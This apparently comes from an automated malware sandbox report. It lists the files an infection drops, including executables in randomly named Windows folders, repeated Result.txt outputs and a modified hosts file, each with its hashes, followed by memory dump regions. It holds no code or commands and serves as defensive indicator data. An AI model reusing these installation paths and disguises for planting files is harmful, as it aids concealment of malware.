2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nsf4553.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\jhetmctcv\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
C:\Windows\jhetmctcv\bctzbzczb\Result.txt

Filesize
774B

MD5
2055a506c4b8b75f77cce1f52fcfeeee

SHA1
8b21eaa08465407dabdb4509fec57efaa75f3c68

SHA256
0a4c66130ec6f5ef9b6b268fd21e749ae0402fbb31cbebf69cafeaba25147b97

SHA512
28f9b22e02c31cff071f3fd6d3e277c6ed3bd1f4467a0936043b708530c40415052467be3325afd2769ca61855101ce7144753788e5c5092b1f54d89c9f0a4a1

Download Submit
C:\Windows\jhetmctcv\bctzbzczb\Result.txt

Filesize
1KB

MD5
8f2042913550d3b9ea88f97f3817d4e1

SHA1
8f657c47bef40be3649890523fc4664a28909c3f

SHA256
abf841e5ee858b7c823582f1015b241d1f3770d1b0bd6cee2b7c7047da59e4a7

SHA512
4111ce9eef0ca7325f57b94fd36d2c5be7c150aef0dab1ae0a2b367efffac34cd24a3c4eee29f9f137b7e6cc9a5561f522aeeae3df924c8ceba719cb28f4f133

Download Submit
C:\Windows\jhetmctcv\bctzbzczb\Result.txt

Filesize
1KB

MD5
0bc200a56144747c95dc970bb790208a

SHA1
50996aa585860fe29945fb4ea2bff79d5923bbbd

SHA256
4b46bb037988e51d80f6d1f42687dc4cb7d1cacd8f231f33c86a57cc2b9d55ce

SHA512
70ec81e9c9bf98ba4c20e2bb274833ea0f84a4c5ced9f5b9a697df25799cb352f1f9f3445a5bed35f7cf6f7f0cab282429d49ff127c1ea529556b02f9c652f8d

Download Submit
C:\Windows\jhetmctcv\bctzbzczb\Result.txt

Filesize
3KB

MD5
9be030ecd001b16d6f1102d43d4de03f

SHA1
27969f87b8abac368c5fe32e07b4ca0bbb164218

SHA256
fdb08a2782a8d1b1e78137866f83a00c76014b1c605fe85034277e2d57a14b09

SHA512
2d9cafd02fff67b3be3ba04294c43b906ba2f6830e10ef0f4e92588cc7687949d4fde0d540a59f978e72565b255074eb55171c88bbb3723d77dc0bd0fef383db

Download Submit
C:\Windows\jhetmctcv\bctzbzczb\Result.txt

Filesize
3KB

MD5
4f4f92ddc022ecb0377d9af94b15c6bf

SHA1
d143894e91ab082b73206ddd59fa44ce05f29199

SHA256
7f1763c5efe10628232fd43b4e8bc9b5c02a94a6b23524faf90f6d9d3882d38a

SHA512
2e22721da5dc695c70710e26430e07eb0059d4066d898037af2c0c688e8aabea262519ad0b1816f3578859f1dfcc8b66353f6cc120b0a7f49d208db4a1d476eb

Download Submit
C:\Windows\jhetmctcv\bctzbzczb\Result.txt

Filesize
3KB

MD5
81733279b56d07889947d1d2894162c0

SHA1
d98873315249d42d505d247b121dcaa2256da91a

SHA256
9ff713b0972400d7e4548da760c4b4f760665e828910dc9f3b85dd0b7f5e5cfb

SHA512
0a9c3516275f966373b0a641cf4dbe5ddc6aefc9a99280574d67605c9db575822012c132a8306e877a4e4ddab599c85ff26a7e3784c68f46c0d5f6ec1eff8b42

Download Submit
C:\Windows\jhetmctcv\bctzbzczb\Result.txt

Filesize
3KB

MD5
aa454446d53d7364ca39ae5ea260621e

SHA1
1e19be29b682269e4d7268b8597d9d4b9c5fabce

SHA256
2714b58d0628a1629d18286e36d00dd06c83d8b437c8166ef9c0238cd34d2af7

SHA512
2d82e0f91587d5126ec01fee8a541a7106e5479a2789e7665b65f0baa76d1b31e64e90a4f736184aaac1a5d25211d12905655bbe945d3bcdd84e66fec3be996b

Download Submit
C:\Windows\jhetmctcv\bctzbzczb\Result.txt

Filesize
4KB

MD5
2773156edf7129c967e4e19f347de010

SHA1
ef1df21e8fadbb89bc93eda1cc987fee5fd624ed

SHA256
75a5b95274e18ec130fcd13927a48a46c7abed873ba37de6ef5a33b4f5b50296

SHA512
0d8f2d1198be521c6f16f566e6f07bca725e14cde5a4e362aec11a645e81755b4f7b5a63bae0984e636da8af427cd1a1c18b78d09838e1772f55b7568ba66d3e

Download Submit
C:\Windows\jhetmctcv\bctzbzczb\liuibviiz.exe

Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
C:\Windows\jhetmctcv\bctzbzczb\wpcap.exe

Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
1KB

MD5
c838e174298c403c2bbdf3cb4bdbb597

SHA1
70eeb7dfad9488f14351415800e67454e2b4b95b

SHA256
1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

SHA512
c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

Download Submit
C:\Windows\ybemumnz\mgmtcbi.exe

Filesize
17.7MB

MD5
96b5ed2d49e6bc8fe3dc179a1adb09b1

SHA1
988b94fcacf14dc51ce8cdac683f4a40e9d9986c

SHA256
72d227cf37ff8318c6901d3115a3f4035d22568ff91ba2dd2feb3cd1d69bd7dd

SHA512
9838121d633db4c746c0e48420181767495bf243531ef9228f64fa8404da938bd53a4b39102588628fdbd49b2a965b5a58a2f7a55b558d3287d163db5d2fec17

Download Submit
memory/464-196-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp

Filesize
364KB

Download
memory/1472-192-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp

Filesize
364KB

Download
memory/1488-247-0x0000000000440000-0x0000000000452000-memory.dmp

Filesize
72KB

Download
memory/1840-184-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp

Filesize
364KB

Download
memory/2040-205-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp

Filesize
364KB

Download
memory/2044-179-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp

Filesize
364KB

Download
memory/2216-200-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp

Filesize
364KB

Download
memory/2596-227-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp

Filesize
364KB

Download
memory/2836-188-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp

Filesize
364KB

Download
memory/2896-218-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp

Filesize
364KB

Download
memory/3280-223-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp

Filesize
364KB

Download
memory/3308-138-0x00007FF6735F0000-0x00007FF6736DE000-memory.dmp

Filesize
952KB

Download
memory/3308-136-0x00007FF6735F0000-0x00007FF6736DE000-memory.dmp

Filesize
952KB

Download
memory/3616-8-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/3628-144-0x0000000010000000-0x0000000010008000-memory.dmp

Filesize
32KB

Download
memory/3628-161-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/3628-4-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/3628-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/3828-214-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp

Filesize
364KB

Download
memory/4116-235-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp

Filesize
364KB

Download
memory/4460-177-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp

Filesize
1.1MB

Download
memory/4460-167-0x0000029FAF7D0000-0x0000029FAF7E0000-memory.dmp

Filesize
64KB

Download
memory/4460-164-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp

Filesize
1.1MB

Download
memory/4460-220-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp

Filesize
1.1MB

Download
memory/4460-232-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp

Filesize
1.1MB

Download
memory/4460-496-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp

Filesize
1.1MB

Download
memory/4460-497-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp

Filesize
1.1MB

Download
memory/4460-248-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp

Filesize
1.1MB

Download
memory/4460-211-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp

Filesize
1.1MB

Download
memory/4460-499-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp

Filesize
1.1MB

Download
memory/4460-202-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp

Filesize
1.1MB

Download
memory/4460-181-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp

Filesize
1.1MB

Download
memory/4532-78-0x0000000000B50000-0x0000000000B9C000-memory.dmp

Filesize
304KB

Download
memory/4576-159-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp

Filesize
364KB

Download
memory/4576-156-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp

Filesize
364KB

Download
memory/4712-174-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp

Filesize
364KB

Download
memory/4912-231-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp

Filesize
364KB

Download
memory/4936-170-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp

Filesize
364KB

Download
memory/5100-209-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp

Filesize
364KB

Download